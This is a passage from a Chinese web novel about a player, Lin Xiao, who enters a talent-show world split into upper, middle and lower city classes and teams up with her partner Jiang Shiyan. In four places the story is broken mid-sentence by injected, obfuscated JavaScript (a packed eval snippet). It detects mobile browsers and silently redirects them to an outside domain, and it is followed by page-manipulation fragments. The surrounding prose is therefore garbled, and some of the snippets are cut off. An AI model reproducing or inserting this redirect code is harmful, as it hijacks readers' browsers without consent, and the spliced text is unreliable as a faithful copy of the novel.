候等室就有一个紧急医疗箱，碘伏、纱布、绷带这些应急医用物资还是有的。林筱借着治疗的名义，将他的伤口都观察个遍。 和她之前估摸的差不多，主要伤口都在四肢关节处，大概和他作弊的方法有关。从他的反应来看，如果不是这个世界对医疗知识的普及很成问题，那就是这个57号也是个玩家。 是人就会有自救的本能，更何况他身上的伤口并不致命，只是会稍微影响他的行动，而不是让他完全失去行动能力。 57号可没想到有人会在那么短短的片刻内想了那么多，只是喘了几声，目光瞥过避他如蛇蝎的其他选手，握着林筱的手如同交付后事般喘着粗气道：“这场选秀有诈，zh……” 最后半截话才冒出一个音，他就先因为失血过多失去了意识。 计较57号是真昏迷还是假昏迷没有意义，就算是假的，他也可以变成真的。 背对着众人，林筱的脸色冷淡，至少看不出她会是在场唯一伸出援手的大好人。 事到如今，57号的身份已经很明确了，他就是一个玩家。或许是道具，又或许是他之前和同伴约定好的合作方式，如今57号使用的这个身份就是个饵。 既可以钓出选秀的部分规则，还可以误导其他玩家的调查方向，让他们以为选秀的其他环节藏有秘密。 就算这间候等室内没有玩家，等这一轮选拔结束，关于57号的事情自然就会流传出去，不怕没有玩家上当。 “选秀可以作弊，但不能被发现。”林筱没有出声，只有嘴唇微微颤抖了一下。 系统没有任何提示。 可能是这条信息无关紧要，但更可能的是，这条规则已经被57号或者他的同伙私藏。 眼看着林筱被吓得呆愣在原地，不远处的其他选手反倒不耐烦地推开她，在没放多少东西的医疗箱内粗鲁地翻找，最后不耐烦地狠狠拍打57号的脸：“喂，醒醒，要死也把话说完再死。” 其他没有过来的选手也不阻拦，甚至比他更期待57号醒来。 人群的视线焦点从林筱转移到那位后来者身上，美美隐身的林筱更好观察其他人的表情。 能来到这个世界的玩家可没有上个世界的玩家那么拙劣，至少他们现在的表情都是如出一辙的恶劣与期待。 期待这个选手能榨出最后一分利用价值来助他们直上青天。 不过一切的努力都是徒劳，57号始终没醒。 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073120|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次被打开。 这次进来的是另一位工作人员，身材高挑的妩媚女性冷淡地看着有几分吵闹的候选室，目光仅在失去意识的57号身上停留了一小会。 “61号跟我走，”她的声音停顿了一会，吩咐屋内唯一通过的人，“56号，你负责与过来的医护人员交接。” 61号站了出来，似乎没预料到这么快就轮到她，脸上的神色慌张更多于期待。 “收到。”林筱也回答道。 这位工作人员也不是话多的，该说的也说了，该做的也做了，带走61号后就干脆利落地关上门。 屋子里的其他人也放弃唤醒57号。 “zh……”各怀心思的人聚在一起像模像样地谈话，“你们说他想说什么？” “这范围太大了，至少也得先知道这是个地方，还是东西，还是人啊？” “这里不就有个可以缩小范围的人。” 也不知道人群中谁说了这一句，让快要将自己隐藏的林筱再次变成人群的中心。视线之下，林筱的隐匿变得毫无意义，她的一举一动都在众人的眼前放大。 是啊，56号作为唯一一个从舞台回来的人，不正是可以帮他们缩小范围的人吗？ 面对众人期待的眼神，林筱斟酌着开口：“他作弊了。” 也对，工作人员都说他是因为作弊才变成这样的。 “作弊又怎么了，作弊也不代表他就不可信了吧。”眼看着风向被林筱简简单单四个字带偏，冷眼旁观的一个选手终于忍不住跳了出来，“你们别忘了，和她说话的59、60号可都没回来。” 59、60号和56号取经的事，他们可都是看在眼里。61号都已经过去了，但59号还没见动静，多半是被淘汰了。 可见，56号也不一定说真话。 这时候，他们完全忘了残酷的淘汰率。 在没有出最终结果前，他们所有人都是竞争对手。能顺利出道的就那么几个位置，想要增加自己的胜率，就要解决掉其他竞争对手。 其他人的心又开始偏向57号。 “57号肯定参加不了之后的比赛，他现在和我们说谎有什么好处？”那人继续笃定地说道，“他的话，才是真话。” “如果选秀有诈的话，那我们还能离开上城区吗？”一旁有人怯懦地询问。 “选秀都办了那么多年，这个名额是肯定存在的。”那人看着林筱的目光并不友善，“所以有诈的，就是选拔条件。能对选拔条件做手脚的，又有zh发音的，只有主持人。 “有人买通主持人获取名额，再用这种下作的手段淘汰真正应该被留下的人。” 没有人觉得自己会是被淘汰的那个，他们只会觉得自己的名额正在被小偷偷取。 “那怎么办？” 无形之中成为候等室内意见领袖的男人自信地看着57号：“57号已经给我们创造了条件。这里的工作人员可能会与主持人达成利益关系，但后勤保障人员不会。等医护人员过来，我们就向他们举报主持人，把名额还给真正该拥有它的人。” 很激情澎湃的发言，可惜思考的方向完全错误，反而正中57号的目的。 “祝你们成功。”即使被污蔑，林筱依旧以良好的风度回应。 毕竟，成功者总是怜悯落败者。 66. 第三个世界4 只可惜，林筱的祝福被在场的其他选手弃之如敝。 她看着这些选手匆匆忙忙拟下举报信，又看着无人搭理的57号，手指在手背上轻轻敲击。 她也确实好奇，这里的人会怎么处理这次举报？ 医护人员也没让林筱久等。 举报信才修改到第二版，62号还没被叫去准备，医护人员就已经打开候等室的门走了进来。 同样出众的外貌，以及并不娴熟的手法。 他们将57号搬运到担架上，但并没有固定他的四肢，以至于57号有一小半的身体垂落在担架外，在医护人员颤颤巍巍的行动间显得摇摇欲坠。 但凡是个骨折病人，分分钟加重病情。当然，57号也没好到哪去。 更可惜的是，在场的选手们也都不是57号的良人。 没有人关心57号的死活，他们更关心自己的利益。 “你好，”最先组织的人自然也被推选出来当这个阻拦的人，他看着看上去很好说话的医护人员，心先稳了下来，“我们想要举报这里有人滥用职权。” “滥用职权？”扛着担架的人惊讶了一下，担架随着她突然的动作猛地一震，57号大半个身子都落在担架外面。 但没有人关注57号。 “是的。”成功吸引到医护人员只是第一步，他沉住气，“这是我们的举报信，麻烦您转交给监管部门。” 交信这一步也顺利完成，选手们肉眼可见地松懈下来，除了林筱。 她看着神色平静的医护人员，瞬间意识到不对劲。 果然，温柔和蔼的护士接过信，轻柔地询问：“你们有证据吗？” 会问就代表关注了，这群选手的领头者立马点头：“有。” “是你发现的证据吗？”她继续问道。 领头者犹豫地看了眼担架，直觉突然在这一瞬间发挥作用，他咬了咬牙，还是没把这件事往自己身上揽：“不是我，是他。” 手指的方向，正是在担架上几乎已经垂直地面的57号。 57号无知无觉地发出一声闷哼。 “是他啊。”抬着担架的人突然将人放下，动作粗鲁，完全不在意对方的死活。 其他人的心也跟着猛然坠落。 事到如今，他们也终于意识到，这件事并不会按照他们想象的那样发展了。 穿着粉白外袍的护士？从门外的治疗车内拿出一个手掌大小的仪器，将电极两端贴在57号的太阳穴上。 看着满眼茫然的选手们，她露出一个发自内心的愉悦微笑：“既然是你们举报的，就要由你们提交证据。记忆提取器，虽然会有一些后遗症，但能保证证据的公正无误。虽然他现在失去了意识，但没关系，我们的仪器会自己辨别需要的记忆。” 也就是说，它也可以用在活人身上。 看着即使失去意识，身体也在仪器的作用下止不住颤抖的57号，所有人都开始后怕。 如果，领头者艰难地吞咽下口水，他当时想要昧下这份身份，戴上这个仪器的人就会是他自己了。 只有林筱目不转睛地盯着这个仪器。 记忆提取器，这一个她之前从未见过的东西。也就是说，虽然这个世界看上去和上一个世界差不多，但实际上，这里的科技水平已经到了另了一个水准。 比她出身的那个世界还要厉害。 如果她能把这里的技术学会，再将它运用到自己的游戏内，她是不是就可以跨时代地创造出真正意义上的全息游戏？ 看来这个游戏也不全是该被封禁和谐的垃圾。 过了大概三两分钟，57号停止了颤抖，如果不是胸廓还有微弱的起伏，没有人会怀疑他还活着。 这里的医护人员也上前取下了仪器，将数据线链接到治疗车上的一个平板内。 绿莹莹的灯光映在她姣美的脸颊，只剩下呼吸声的候等室内，听见她那一声悠长的叹息： “没有找到。” 她扭头看着这群青涩的、被人卖了还替人数钱的可怜儿，遗憾地扬起嘴角：“真是抱歉，你们的证人，可没有证据证明这里有工作人员滥用职权哦。” “不可能。”领头者下意识否决，但看着对面虽然笑着却就是觉得阴森森的医护人员，他出口的话也不禁磕绊起来，“他说，他说这里有诈，他明明说了主持人，那个主持人，主持人他有问题。” “没有哦，”她摇摇头，“他的记忆里可没有任何关于滥用职权的事情，只有他试图收买评委被发现的现场转播。” “亲爱的，”她的笑意越发明显，“你们都被他骗了哦。” “被，被他骗了？” “我猜，你们还不知道举报工作人员的后果吧。”她笑意盈盈地指着门外张贴的告示，“举报成功，所有参与举报的人都可以直接晋级下一轮。但如果举报失败， “你们全部都被淘汰了哦。” 他，和他们，瞬间脸色煞白。 “嗯，让我看看这里有多少人。一个，两个，三个……四十多个人。”她遗憾地摇了摇头，“可惜了，你们全部被淘汰了。” “我不是。” 唯一一个异议自然吸引了这名医护人员的目光，她看见了林筱身上与众不同的号码牌：“虽然你已经通过了第一轮考核，但只要签了名，不管考核有没有通过，你都会被淘汰的。在这项规则面前，所有人都是一样的。” “我没有签名。”林筱继续说道。 “哦，是吗？”她又看了眼林筱的名字，又仔仔细细地核对了一遍举报信内签上的名字，“好吧，你的确没有签。那在场的所有人里，还有人没签吗？” “我，”又有一个人站了出来，在所有人惊讶的目光中，他红了脸，“我写的是假名，应该不算吧。” “嗯，”她扫了眼举报信，又看了眼他胸前的牌子，“当然不算。聪明的孩子就该学会给自己留条退路，不错。” “谢谢。”虽然四周的目光恨不得吃了他，但他依旧难掩自己的兴奋。 一下子淘汰那么多人，这就证明他成功的几率也会大大提升。 他这时庆幸起自己刚才耍的小聪明。只是少写了几画，不管是奖励还是惩罚，该得到的、该逃避的，他都有说法。 “下一间候等室的选手会感谢你们的。”她耸了耸肩，没有再管奄奄一息的57号，“我还要找更多的人把你们带走。哦，这可真是一场大生意。” 屋内除了林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073121|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱、72号以外的选手都如丧考妣。 但林筱并不意外。 主持上在场上的表现太过嚣张，哪怕是本身赛制有问题，但身为主持人也不该把自己的立场表现得那么明显。 明显到，像个诱饵。 所以换了她节目的应该是别的工作人员，他们互相打配合，让选手的举报无效，从而淘汰更多的人。 只不过他们也没想到，这次的选手中还有比他们更狠的。 林筱看着更加虚弱的57号。 要不要帮他一程，让他早日回到备考室，也省一笔修复身体的积分？ 但可惜的是，举报轮不到林筱，57号也同样轮不到林筱。 没人在意仅吊着一口气的57号，同样团结的选手在这一刻再次发扬了他们的团队精神，轮流对着57号拳打脚踢。 其实林筱能明白他们的心情。 从这些选手也不认识记忆提取器就可以看出，下城区接受的知识是落后、稀缺的。所以他们的生活甚至可能比不上白雾世界三不管地区的人。 所以离开下城区，就是他们这一辈子最大的追求。 看见了希望，又得知希望被别人打碎，是人都会发疯。 57号只是被打而已，他们失去的可是他们的梦。 “72号做好准备。”房门再次被拉开，又一个陌生的俊朗的工作人员站在门前，冷淡地催促，“走吧。” 看着72号雀跃的脚步，被淘汰的现实明晃晃地摆在了剩下的选手面前。 62号已经哭泣着跌坐在地面。 差一点，差一点他就可以参加选拔了。 他突然红着眼眶怒视林筱：“你是不是早就知道了？你为什么不阻拦我们？ “没错，你明明早就看见门前的告示，但你什么也没说，你就是怕我们把你挤下去，所以你就使出这种手段让我们全部都被淘汰。” 他的语速越来越快，声音也越来越小，最后完全沉浸在自己的世界里，任谁都无法打扰到他。 62号疯了。 林筱看着眼前满满当当的人群。 不止62号那么想，他，他们，都是这么想的。 “这是我没说吗？”林筱可不想谁都能把屎盆子往她头上扣，“我劝过你们，但你们谁都没听。” 是，56号是说过57号就是道德低下的作弊者，但他们被利欲冲昏了头脑，不管不顾地一心只想着举报。 但56号那么一提，他们就又想起了他们的领头者。 如果不是他，他们也不会那么坚定地想要举报主持人。 领头者躲在人群当中，可当人群散开时，他只能无助地站在人群的中央，四周都是质疑怨恨的目光。 他也不想的，他也是受害者。 “大家先冷静一下，有话好好说。”他使劲吞咽着口水，但说出来的话依旧干巴巴。 人群遮挡了林筱的视线，但从空气中传来的惨叫声来看，这位领头者大概要成为57号的难兄难弟了。 在伴奏声中，林筱独自沉思。 从目前的情况来看，这就是一个阶级分化明显、但又普通的一个高科技世界。 所以，这个世界的危机又是什么呢？ 67. 第三个世界5 林筱在除了自己外空无一人的候等室坐到了午饭时间。 没有人再回来。 房间内有几本杂志，虽然都是些时尚和八卦消息，但也可以窥见几分这个世界的影子。 就像她之前猜测的那样，这个世界的公民按照出生地划分为上、中、下三个等级。 上城区的公民住在天空之上，享受着最优质的空气和水源。中城区的公民住在地面之上，沐浴在微薄的阳光雨露之中。下城区的居民隐藏在地下，伴随着被填埋的垃圾。 公民的等级在出生时就已经被固定，但在二十年前，这个牢固的规则出现了变动。 全民大选秀，一个让下城区、中城区公民为之疯狂的节目，也是他们唯一能实现阶级跨越的途径。正是从这个节目开始，上城区越来越强大，和中下城区的差距也愈加悬殊。 没有人知道这个节目是怎么出现的，但它背后的势力强大却是众所皆知的事实。所以适龄的公民纷纷涌向这个节目，所有的年轻人都将自己的奋斗目标定位在出道之上。 林筱扮演的，就是这样一个角色。 如果她要坚定地走这条路，她就需要淘汰几千人，抢夺仅有的九个出道位。 但这条路也算是捷径。只要沿着这条路走到终点，她就能发现这个世界的秘密，毕竟这个世界从未掩藏它的秘密。 这也是游戏的阳谋。 系统就是在这个时候出现： [玩家是否选定职业——偶像。 职业一经选定无法更改，请玩家慎重考虑。] 听着是催促，又像是婉拒。 真真假假，虚实掺杂，系统也开始玩这套了。 “否。”林筱沉吟许久，等到耳边出现微不可查的电流声，这才轻描淡写地拒绝。 系统再没发出声音，林筱也没在意。 选秀是条捷径，如果能接触到关于这个世界的秘密，也不是不能晋升为隐藏职业。但同样的，作为一个公开的捷径，它的风险也是巨大的。 奇怪的评选标准，奇怪的评委，这也就导致选秀的结果不可控。从而引发的可能性最大的结局，就是游戏失败。 林筱不喜欢不可控的东西。 但以选秀为跳板，她能够找到其他更合适的职业。 许久没动静的门也终于再次得到活动。 “56号，”进来的依旧是个陌生的工作人员，公事公办的冷脸，不肯多说一个字，“你的临时经纪人在1号餐厅30号包厢等你。” 林筱站起身。 临时经纪人，终于出现了。 * 姜时宴是在一个环形大厅内恢复意识的。 大厅从内至外层层拔高，最里层是一圈显示屏，最外层则是几个看不清样子的人形生物。姜时宴就位于倒数第三层，而他的左右也都是看不清模样的人形生物。 这是他第一次意识清醒地来到另一个世界。有了白雾世界的经历，他大致能猜到自己身处什么样的地方。 演播室，或者就是一个奇特的放映室。 毫无意外，他再次和林筱分开了。 他看了眼自己，勉强合身的西装，身材与原装的大致相仿，只不过手指没了陈旧的茧痕，对身体的掌控力也大不如前。 一个普通人。 他的面前是一张环形长桌，他能占据的也只有一格。在他的桌面上，摆放着两张白纸和一支水性笔。必要时候，这些东西也可以成为他伤人的利器。 “系统。”姜时宴模仿着林筱的口音，呼唤着这里的“神”。 耳边似乎有嘈杂的电流声，但很快又消失不见。 看来，这位“神明”并不想为他所用。 “新来的？”姜时宴的身旁，模糊的人影突然探过身子，自来熟地搭话。 一转头就是一张模糊的脸，五官被分割成稀碎的色块胡乱排布，却也能从缝隙中透出人形的影子。 如果不是早有预料，任谁看到都得吓一跳。 姜时宴敛了敛神，只装作习以为常地应道：“是。” “你打算选哪个？”对方却是个热心好谈的，不知道自己如今形貌可怖，也不在意姜时宴冷淡的语气，“选人可是个技术活，这关系到我们的未来。” 选人？ 想到至今还没与他联系的林筱，姜时宴下意识看向依旧漆黑的屏幕。所以，他的主人可能就在这些被选的人当中？ 虽然姜时宴没有说话，但对方还是感觉到他的意动，脸上的笑意不自觉加深：“我看你合我眼缘，偷偷告诉你一个不外传的秘诀。” 透过这个神奇的脸能看出眼缘，他的邻居还真是深藏不露啊。 明知对方不怀好意，姜时宴还是故作懵懂地询问：“我真的可以知道吗？” “当然。”对方的嘴角都快咧到耳边，看着这个新人的身影就像看着美味的餐点，“其实很简单，只需要看谁表演的时间长就可以了。表演时间越长，就证明他越受评委欢迎，我们取代他们前往上城区的几率就越大。” 这个大厅虽然会遮掩身形样貌，却无法隐藏声音。顷刻间，这个“不外传的秘诀”就已经被周围四五个人都听到耳中。 众人的反应也各不相同。 有的不屑，有的好奇，也有的，推波助澜。 “没错，”接话的人故意提高了声音，确保周围这一圈的人都能听见，“其实选择的方法很简单，你们就差在没经验。所以最便捷的就是看时长，时间越长，成功率越高。” 这些人对视一眼。 虽然不知道能骗到几个，但有几个，是几个。 姜时宴调整一下坐姿，舒展地倚靠在椅背上。 这个世界的人，手段也同样拙劣。做戏就要做全套，一边说着不外传，一边恨不得传个遍，言行不一，又怎么让人信服？ “你是个好人。” 不过，也要感谢他们提供的情报，至少让他知道自己需要做什么。 “应该的，应该的，我们就该互帮互助。”那人满意地回到自己的位置。 不是林筱的世界，至少，这句话在这个世界没有婉拒的含义。 姜时宴抬起头，铃声响起，屏幕上出现了画面。 二十二个人像同时出现在他们眼前。 和他们一样，这些人的面部也都经过了模糊处理，声音都是一模一样的电音，也因此，所有人的节目表现都变了样，分辨不出孰强孰弱。 从这方面看，那些人说的也没错，表演时长的确是鉴别他们能力的重要区分点。 “又是唱歌。”身后传来细碎的讨论声。 姜时宴微微侧头，余光瞥见两个模糊的人影靠在一起。从他们之间的距离来看，他们本就是熟识的。 “这又听不出好不好听，听着也没意思。”另一个人懒洋洋地说道。 “其实就是看运气的事，那些评委的喜好本来就难以估摸。”他的同伴赞同。 “但有些看着就奇怪的，直接淘汰就行了。”懒洋洋的声音继续没精打采地说道。 看着就奇怪的？ 有了目标，那个奇怪的节目就不难找出。 是后下方的一小块屏幕，位置虽然不显眼，但那与其他选手不一样的表演方式让她的声线兀自突显出来。 之所以说她，那是因为姜时宴认出了她是谁。 林筱。 虽然不理解她为什么要在一个表演场地诗朗诵，但既然对方是他认定的同伴，他也只能捏着鼻子认了。 可能，这是属于她的特殊任务？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【下面公布晋级选手名单。】 姜时宴能听到同桌的呼吸变得急促，显然，这个环节才是重头戏。 【13号，56号……612号。】 随着播报声音结束，同桌的手狠狠砸在桌面上。桌子完好无损，但他的手却裂开了道口子。 他选中的人没有晋级。 他猛地转头看向姜时宴，他听到了56号晋级了。 “你真好运。” 同桌看着姜时宴的表情无法分辨，但声音却透着嫉妒与不甘。 选择表演时间长的本身就是个错误选项，只有那些迟迟得不到评委认同的人才会死赖在舞台不走。但就是这么一个错误的提醒，一个滑稽的表演，居然脱颖而出入选第二次考核。 这是运气，却也是更让人嫉恨的运气。 “祝你能一直好运下去。”他不信，这种水平的选手能一直晋级下去。 “谢谢你的祝福，”姜时宴像是完全感觉不到他的恶意般从容应对，“也祝你身体健康。” 其实在竞价结束，姜时宴就能察觉到同桌的气息陡然变得微弱，就像一个神龙活虎的年轻人变成六七十岁的老人。 不知道原理，但姜时宴猜测，他们献出的，很可能是类似健康、寿命之类的东西。 这和祭祀邪神有什么区别？ 而他最讨厌的，就是祭祀。 看着这个份上，他可以勉为其难地原谅林筱这次过分的行为。 【请晋级选手的临时经纪人前往指定地点与选手会面。】 电流音发出下一步指令。 68. 第三个世界6 这次的初始地图也不小。 林筱站在演播大厅外的地图下，并不急着去见那位临时经纪人。 如果他是姜时宴，那就不差这点时间。如果对方不是姜时宴，那也不差这点时间。 还是地图更为重要。 红色的小人位于地图的东南方，也就是林筱此刻的位置。这一片只有演播大厅一栋建筑，周围都是竖起的围墙，从上面的标志看，围墙上布满高压电流，以防里面的人逃走。 1号食堂位于正东方，而正西、正南、正北则坐落着其他三栋食堂。 大门就藏在食堂之后。 西北角是宿舍，几栋楼层层叠叠，肉眼可见的采光不行。 东北角是两栋大楼，连廊衔接着办公楼与训练楼。 西南则矗立着一栋天体形状的建筑，正中央摆放着偌大的时钟。地图上没有标识它的用途，还特别提醒无关人员切勿入内。 而地图的中央，本该是最重要的位置，却建着商座，欢迎园区内的所有人员采购。 如果要说最神秘的，那就是西南角的建筑。但要说最诡异的，还是中间那个商座。 下午是中城区的公民选拔，正好有空看看。 林筱将地图大致记在脑内，这才向着1号餐厅的位置走去。 通过第一批考核的选手并不多，分散到四个餐厅之后，就连道路都显得空旷。路边的自旋转浇灌器向上喷射出水花，在光照下透出七彩的光芒。 再往前走几十米，就到了1号餐厅的门口。 “请问有什么需要吗？” 林筱刚在平地站稳，门帘之后，一个服务员悄无声息地出现在她的面前，低着头微躬身，平淡地开口。 但哪怕姿势再恭敬，语调再平淡，也平息不了她悄无声息出现的恐慌。 就像恐怖影片内最常出现的jumpscare。 林筱的呼吸略微急促，就算她再冷静，被突然怼脸还是免不了心漏了一拍。 还有一点是，她以为这个世界会更平静些。至少从目前了解的信息看，这里的人并没有特别恐慌的事物。 当然，阶级对立不算。 没有等到回复的服务员再次毫无波澜起伏地询问：“请问有什么需要吗？” 人不会在同样的台阶上摔第二次，更何况有了心理预期，服务员的询问也失去了杀伤力。 “我要去30号包厢。” “请随我来。”服务员躬身在前，带着林筱走进1号餐厅，向着深处缓缓走入。 大厅内没多少人。 这是员工食堂，除了通过第一次选拔的选手，就只有这场选秀的工作人员能进入。 但就是这寥寥几人内，林筱看见熟悉的人脸。 不是林筱曾经见过的工作人员。 59号，60号。 这两个曾经咨询过她，却又被淘汰的前同期。 他们穿着深灰色的制服，失去华丽的妆发，看上去就只是人群中略微帅气的普通人。 只不过比起观察四周，他们似乎更专注于吃饭，即便林筱从他们身边穿过也一无所觉。 所以，被淘汰的选手还可以成为工作人员留在选秀园区。 林筱默默记下，路，也走到了尽头。 30号包厢就位于食堂一楼的尽头。 服务员在打开包厢的门后就悄无声息地退下，包厢内的人闻声抬头，两人的眼神自然而然撞在一起。 “看来，我的运气不错。”他说，“我的艺人有着出色的长相。” 林筱脚步没有停顿，走入房内，掩上门，这才坐在他的对面，抬眸回应：“你就是我的临时经纪人？” “自我介绍一下，”他伸出手，亲和却不显亲昵，“姜时宴，你的临时经纪人。” 所有的交锋都隐藏在方才的对视中，明面上，两人端着互不相识的陌生人姿态，一人一句地分割利益。 “你能帮我什么？”林筱指尖有一下没一下地敲击着桌面，对着经纪人也不见半点敬意。 “你需要先清楚一点，我们的目标是一致的。”姜时宴也半点没让着，“所以你没必要针对我。” “针对？”林筱挑眉，“我只是来确认我经纪人的实力。我不需要一个会拖我后腿的经纪人。” “可你的态度完全不见友善。” 正当气氛越加焦灼时，包厢的门被打开。服务员端着三菜一汤上桌，房间内是诡异的安静。 等到服务员将东西一一放在下，退出房间，又过了一会，包厢内才出现声音。 “那我们就各退一步。”姜时宴沉声，“下一场选拔，你给我看你的实力，我帮你解决你的对手。” 林筱沉默片刻，起身，伸出手：“那就先祝我们合作愉快。” 姜时宴也沉默地伸出手，完成这一次的握手。 * 水桶：来自72号世界清洁部的内部工具，具有神奇的化幻象为实体的功能，能够捕捞人们不切实际的幻想，是游戏旅程中不错的解压工具。剩余使用次数4/5。 躲在洗浴间，借着水流和热气的蒸腾遮掩所有的画面和声音，林筱穿着整齐地看着突兀显示在半空的画面：“看来，你那边也不安全？” “身不由己。”即使站在同样狼狈的环境，姜时宴还是保持了该有的风度。 至少不会像在餐厅那样针锋相对。 只可惜，这样的风度在这个特殊的对话中，也只会被满屏的口口遮掩。 这是林筱通过道具水桶幻化出来的一次性联络道具，借由刚才的握手私下传递。但受道具本身属性的影响，任何写实性质的物品都无法转化，最后林筱还是借用了她第一个世界的灵感。 跨二维平面对话神器。 神器启动后，双方会以二维漫画形象出现在对方面前，但受限于和谐因素，一些不健康场景也会被“口口”式马赛克屏蔽。 其中，也包括浴室。 所以现在出现在两人面前的，其实是脖子以下皆是口口的奇怪画面。 “我们的时间不多，长话短说。”林筱看着右上角的倒计时，没再继续虚伪地寒暄，“我现在的身份是参加选秀的练习生。” 姜时宴没说话。 姜时宴那边的信息没有自己多。 林筱很快意识到这一点，但既然两人达成合作的协议，她就不会藏着掩着：“这个世界公民分为三等，各自住在上、中、下城区。这场选秀的最终结果，就是让其中九名中、下城区的公民居住上城区。” 其实这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人造和封闭基地这两个词，姜时宴能猜出大致意思，但不明白这为什么会让林筱那么激动。 “彩虹是阳光射到空中近圆形水滴造成色散和反射形成。我们常见的彩虹，多为40到42度角造成。考虑到时间和浇灌器的高度，正常情况下应该很难看见彩虹。” 但事实上，林筱很轻易地发现了它。 这就证明，太阳没有在它应该在的位置。这颗太阳是假的。 林筱也不清楚这是园区特意安排的漏洞，还是程序的bug，但这毫无疑问地拉高了这里的危险程度。 姜时宴大致懂得林筱想要表达的意思：“所以，我们的时间会被混肴。” 在一个密闭的、无法与外界联络的封闭基地，又失去了电子设备，那么他们唯一能够获取时间的途径只有园区内的钟表和太阳。 钟表可以被修改，但一般人都不会想到太阳也会被操控。 “那他们的目的是什么？” 回归到问题本身，这场选秀的主办方建造那么大的一个园区和仿真天气系统，就是单纯想要选拔一些人去上城区？ 不可能那么简单，除非—— “我会尽快查到评委的身份。”姜时宴在另一边接下了任务。 临时经纪人比选手自由，这些涉及选秀机密的信息更适合姜时宴去打听。 “我的道具使用次数有限，下次见面，我们找个更安全的地方。” “合作愉快。” “合作愉快。” 这一次，是货真价实的合作了。 69. 第三个世界7 为了不引起怀疑，林筱快速洗了个澡，从浴室内走了出来。 客厅里多了一个人。 那人抬起头，明媚的笑容仿佛能驱散整个园区的阴霾，热情地向林筱打招呼：“你好，我叫叶曳，你可以叫我小叶子。之后的这段时间，我们就要当室友啦，请多多关照哦！” 很自来熟的小姑娘。 林筱不着痕迹地扫过摆放在房间各个角落的监控，闪烁的红色光点表明它们此刻仍在运行当中。这也意味着，她们此刻的一举一动都会被记录下来。 如果从这些摄像头摆放的位置看，她的室友无论是站位还是侧身的角度，都是恰好能展现自己优点的姿势。 再加上两人见面后的主动开口，想必摄像机后的评委和观众都会对她有了更深的印象。 虽然这不能证明她的室友颇有心计，但至少说明，她的确很想赢得这场选秀。 “你好，林筱。” 虽然不想输，但也没多大热情的林筱冷淡地开口，并不打算与这位临时室友深交。 但林筱的冷淡没有逼退叶曳，反而让她凑得更近：“姐姐，你也是下城区的吗？” 这么快就姐姐了？ 林筱眉梢微微扬起，看着眼前这个仿佛人畜无害的小姑娘，突然有了兴致：“嗯。” 无事献殷勤，非奸即盗。 如果没有经历候等室那一幕，她或许还会相信这个世界的人和谐友善、互帮互助。但亲眼看着他们互相坑害，林筱对下城区已经有了大致的印象。 恶劣的生存环境，以及在这种极端环境下被迫自私、不择手段的居民。 他们算不上真正意义上的坏人，但也绝对不可能成为好人，尤其是能够通过选拔的人。 所以，她很好奇她的室友有什么目的？ 叶曳没有辜负林筱的期待：“这里的环境可比下城区好太多了，所以比赛一结束，我就迫不及待跑过来了。我以为我已经足够快了，没想到姐姐居然还比我早到宿舍。” 这个选手，似乎不太聪明啊，话里的漏洞太多。 林筱也没想到自己的运气不错，居然遇到了这么一位只有点小聪明的竞争对手。虽然天真可爱能够成为伪装，但这份伪装在这场比赛中格格不入。 “你是想问我为什么比你早离开？”林筱毫不在意地反问。 惊愕的表情凝固在叶曳的脸上，显然，她也没想到自己的室友是这样一个不按常理出牌的人。 下一秒，她局促不安地看向四周，不明白林筱怎么会当着这么多摄像的面说出这样不客气的话。 居高临下地俯视叶曳显得她以势逼人，林筱施施然坐在客厅的沙发上，端起未被拆封的饮用水，抬眸望向叶曳：“不说话，是不想知道？” “……想。”叶曳的耳尖通红，声如蚊蚋，也不知道是窘迫还是羞愤。 又或者，两者都有。 “因为和我同组的选手都结束了比赛，所以我也可以提前离开。” 林筱并不觉得这件事需要隐瞒，但在选秀前期，这也确实是值得交易的信息。 “想知道他们为什么会那么早结束，”林筱看着叶曳蓦然变亮的双眼，轻轻笑了一声，“就看你能拿出什么价值的信息了。” 锃亮的双眼倏然黯淡，叶曳紧咬着下唇，眼睫扑闪：“我才来到这里，我……” 话没说完，但意思却表达的很明显了：她想白嫖。 想得可真美啊。 选秀不是林筱的唯一选择，所以对于这些摄像机，她只有厌烦，而没有表现的心情，更不会为了一个低级的竞争对手而委屈自己。 “叶小姐，”林筱看着她的眼神平淡，就像看着无知的猎物在老练的猎人面前使着那些不入流的小把戏般，“有来有往，才是合作。有去无回，那是抢。” “你怎么能那么说我！”叶曳瞪大眼，眼眶通红，晶莹的泪珠半掉不掉，顺着摄像机一路跑回自己的屋内，没忘记保持优美的姿势。 林筱侧了侧身，半倚靠在沙发上，拧开水喝了一口。 